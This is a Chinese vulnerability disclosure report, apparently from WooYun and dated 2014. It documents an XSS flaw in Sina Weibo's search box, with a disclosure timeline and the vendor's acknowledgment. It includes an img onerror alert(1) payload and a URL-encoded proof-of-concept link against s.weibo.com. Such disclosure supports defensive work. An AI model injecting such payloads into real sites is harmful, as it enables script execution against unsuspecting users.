新浪微博搜索发现一存储XSS

漏洞详情

披露状态:

2014-04-01: 细节已通知厂商并且等待厂商处理中
2014-04-01: 厂商已经确认,细节仅向厂商公开
2014-04-11: 细节向核心白帽子及相关领域专家公开
2014-04-21: 细节向普通白帽子公开
2014-05-01: 细节向实习白帽子公开
2014-05-16: 细节向公众公开

简要描述:

RT

详细说明:

w逆天了xss"<img src='' onerror='alert(1)'>





<div class="searchInp_box">

<div class="searchInp_auto">

<input type="text" class="searchInp_form" node-type="text"

value="我逆天了"xss" maxlength="40" autocomplete="off">

</div>

漏洞证明:

http://s.weibo.com/weibo/w%25E9%2580%2586%25E5%25A4%25A9%25E4%25BA%2586xss%2522%253Cimg%2520src%253D''%2520onerror%253D'alert(1)'%253E&Refer=STopic_box



weibo2.jpg





weibo3.jpg





8CFFAA12-5A77-4438-B455-18F7198D13AC.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-04-01 15:22

厂商回复:

感谢关注新浪安全,今天上午已经有人报告给我们了,同时也感谢洞主及时反馈给我们,

最新状态:

暂无


漏洞评价: